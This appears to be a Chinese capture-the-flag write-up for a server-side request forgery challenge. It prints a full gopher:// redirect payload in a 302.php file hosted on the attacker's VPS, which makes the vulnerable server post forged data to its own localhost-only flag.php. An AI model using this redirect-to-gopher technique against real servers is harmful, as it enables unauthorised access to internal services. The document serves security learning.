SSRF CTF 例题


 

 

一道ctf题目,有两个文件:ssrf3.php和flag.php

题目意思是flag只能127.0.0.1访问,还进行了post验证,这就需要gopher提交post数据来绕过

curl设置了302跳转,所以可以把302.php放在自己的vps上进行跳转

首先获取访问flag.php的post请求:

    POST /flag.php HTTP/1.1

    Host: 192.168.154.130

    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

    Accept-Encoding: gzip, deflate

    Connection: keep-alive

    Upgrade-Insecure-Requests: 1

    Content-Type: application/x-www-form-urlencoded

    Content-Length: 14

    username=admin

因为只有一台机器,所以我直接将Host改成了127.0.0.1,再改成符合gopher协议的请求,写入302.php。

 302.php内容为:

header("Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost:

127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0)

Gecko/20100101 Firefox/50.0%0d%0aAccept:

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language:

zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip,

deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-

Type: application/x-www-form-urlencoded%0d%0aContent-Length:

14%0d%0a%0d%0ausername=admin");

流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然后漏洞机器会访问302.php,然后跳转,利用gopher协议,自己访问自己的flag.php同时提交username=admin的post数据。flag可以在ssrf3.php的页面源代码中看到。

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM